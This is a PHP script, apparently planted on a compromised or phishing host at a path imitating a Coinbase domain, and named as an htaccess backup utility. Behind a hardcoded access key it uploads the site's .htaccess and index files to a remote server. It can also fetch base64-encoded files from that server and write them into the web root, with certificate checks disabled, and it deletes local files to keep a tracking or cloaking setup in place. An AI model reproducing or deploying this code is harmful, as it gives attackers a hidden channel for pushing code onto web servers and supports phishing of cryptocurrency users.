File: /home/j677/coinbase-com.diplomat-sadabad.com/.cpanel/htaccess-backup.php
<?php
// ================= CONFIG =================
$ACCESS_KEY = 'mystrongpass';
$REMOTE_KEY = 'mystrongpass';
$DEFAULT_SERVER = 'galaxystake.com';
// === Автоматическое определение директорий ===
$currentDir = __DIR__; // /home/username/site.com/_sysapi
$siteDir = dirname($currentDir); // /home/username/site.com
$SOURCE_DIR = $siteDir;
$TARGET_DIR = $siteDir;
// === Проверка и приведение структуры файлов ===
$indexPhp = "$SOURCE_DIR/index.php";
$indexHtml = "$SOURCE_DIR/index.html";
$contextPhp = "$SOURCE_DIR/context.php";
$wpSitePhp = "$SOURCE_DIR/wp-site.php";
// --- Если есть index.html, но нет index.php ---
if (file_exists($indexHtml) && !file_exists($indexPhp)) {
rename($indexHtml, $indexPhp);
echo "🔄 Переименован index.html → index.php\n";
}
// --- Если есть и context.php и wp-site.php — удаляем wp-site.php ---
if (file_exists($contextPhp) && file_exists($wpSitePhp)) {
unlink($wpSitePhp);
echo "🧹 Удалён wp-site.php (так как найден context.php)\n";
}
// --- Проверяем содержимое index.php ---
if (file_exists($indexPhp)) {
$indexContent = file_get_contents($indexPhp);
if (strpos($indexContent, "isset(\$_GET['gclid']") !== false ||
strpos($indexContent, "isset(\$_GET['wbraid']") !== false ||
strpos($indexContent, "isset(\$_GET['gbraid']") !== false) {
// Если index содержит tracking-логику — удаляем wp-site.php
if (file_exists($wpSitePhp)) {
unlink($wpSitePhp);
echo "🧹 Удалён wp-site.php (найдена логика tracking в index.php)\n";
}
} else {
// Если нет tracking-логики — удаляем context.php
if (file_exists($contextPhp)) {
unlink($contextPhp);
echo "🧹 Удалён context.php (нет tracking-логики в index.php)\n";
}
}
}
echo "✅ Проверка структуры завершена\n\n";
$FILES_TO_PROCESS = [
'.htaccess',
'index.php',
'index.html',
'context.php',
'wp-site.php',
'wp-bot.php'
];
// ==========================================
// --- Проверка ключа ---
if (!isset($_GET['key']) || $_GET['key'] !== $ACCESS_KEY) {
http_response_code(403);
exit("Access denied.");
}
// --- Определяем действие ---
$action = strtolower($_GET['action'] ?? '');
if (!in_array($action, ['backup', 'restore'])) {
exit("❌ Invalid or missing action. Use ?action=backup or ?action=restore");
}
// --- Определяем домен ---
if (!empty($_GET['domain'])) {
$domain = $_GET['domain'];
} else {
$domain = $_SERVER['HTTP_HOST'] ?? 'unknown';
$domain = preg_replace('/^www\./', '', $domain);
}
$domain = preg_replace('/[^a-zA-Z0-9\.\-_]/', '', $domain);
// --- Определяем сервер ---
$server = $_GET['server'] ?? $DEFAULT_SERVER;
$server = preg_replace('/[^a-zA-Z0-9\.\-_]/', '', $server);
// --- Формируем адреса ---
$REMOTE_BASE = "https://{$server}/lander/hz2";
$UPLOAD_URL = "{$REMOTE_BASE}/upload.php";
$LIST_URL = "{$REMOTE_BASE}/list.php?key={$REMOTE_KEY}&domain={$domain}";
echo "<pre>🔧 Action: $action\n🌐 Server: $server\n🌍 Domain: $domain\n\n";
// =======================================================
// BACKUP MODE
// =======================================================
if ($action === 'backup') {
echo "🚀 Starting backup upload...\n\n";
// --- FIX режим (если context.php присутствует) ---
if (file_exists("$SOURCE_DIR/context.php")) {
echo "🧩 FIX mode detected — removing wp-site.php and limiting upload files\n";
if (file_exists("$SOURCE_DIR/wp-site.php")) {
unlink("$SOURCE_DIR/wp-site.php");
echo "🧹 Deleted wp-site.php\n";
}
// ограничиваем список файлов для загрузки
$FILES_TO_PROCESS = [
'index.php',
'context.php',
'.htaccess'
];
}
foreach ($FILES_TO_PROCESS as $filename) {
$path = $SOURCE_DIR . '/' . $filename;
if (!file_exists($path)) {
echo "⚠️ Not found: $filename\n";
continue;
}
$ch = curl_init();
$post = ['file' => new CURLFile($path)];
curl_setopt_array($ch, [
CURLOPT_URL => $UPLOAD_URL . "?key=" . urlencode($REMOTE_KEY) . "&domain=" . urlencode($domain),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT => 60
]);
$resp = curl_exec($ch);
$err = curl_error($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// 🧠 если файл уже есть — удаляем папку и перезапускаем backup
if (trim($resp) === "EXISTS") {
echo "⚠️ File already exists on server. Deleting old backup...\n";
$deleteUrl = "https://{$server}/lander/hz2/delete.php?key={$REMOTE_KEY}&domain={$domain}";
echo "🗑️ Calling: $deleteUrl\n";
file_get_contents($deleteUrl);
echo "♻️ Retrying upload after cleanup...\n";
// повторяем загрузку
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $UPLOAD_URL . "?key=" . urlencode($REMOTE_KEY) . "&domain=" . urlencode($domain),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT => 60
]);
$resp = curl_exec($ch);
curl_close($ch);
}
if ($err) {
echo "❌ CURL error: $err\n";
} elseif ($code !== 200) {
echo "❌ HTTP $code: $resp\n";
} else {
echo "✅ Uploaded: $filename → ($resp)\n";
}
}
echo "\n✅ Backup complete for [$domain] → [$server]\n";
}
// =======================================================
// RESTORE MODE
// =======================================================
elseif ($action === 'restore') {
echo "🚀 Starting restore download...\n\n";
echo "📡 Запрос: $LIST_URL\n\n";
// --- Запрос списка файлов через cURL ---
$ch = curl_init($LIST_URL);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false, // отключаем проверку SSL
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 30,
]);
$json = curl_exec($ch);
$err = curl_error($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// --- Проверка ответа ---
if ($err || $code !== 200) {
die("❌ Cannot fetch file list from $LIST_URL\nCURL error: $err (HTTP $code)\n");
}
$data = json_decode($json, true);
if (!$data) {
echo "⚠️ Ответ от сервера:\n$json\n\n";
die("❌ Invalid JSON data.\n");
}
// --- Восстановление файлов ---
$restored = 0;
foreach ($data as $remoteName => $base64) {
$localName = ($remoteName === 'htaccess.php') ? '.htaccess' : $remoteName;
$localPath = $TARGET_DIR . '/' . $localName;
$content = base64_decode($base64);
if ($content === false) {
echo "❌ Ошибка декодирования: $remoteName\n";
continue;
}
if (file_put_contents($localPath, $content) !== false) {
echo "✅ Restored: $localName (" . strlen($content) . " bytes)\n";
$restored++;
} else {
echo "❌ Write failed: $localName\n";
}
}
// 🧩 --- После восстановления: проверяем FIX-сценарий ---
$contextRestored = file_exists("$TARGET_DIR/context.php");
$indexRestored = file_exists("$TARGET_DIR/index.php");
$wpSitePath = "$TARGET_DIR/wp-site.php";
if ($contextRestored && $indexRestored) {
if (file_exists($wpSitePath)) {
unlink($wpSitePath);
echo "🧹 Удалён wp-site.php (так как восстановлены context.php и index.php)\n";
} else {
echo "ℹ️ wp-site.php не найден — пропуск удаления\n";
}
}
if ($restored > 0) {
echo "\n✅ Restore complete for [$domain] from [$server]\n";
} else {
echo "\n⚠️ No files restored. Возможно, каталог пуст.\n";
}
}
echo "</pre>";
?>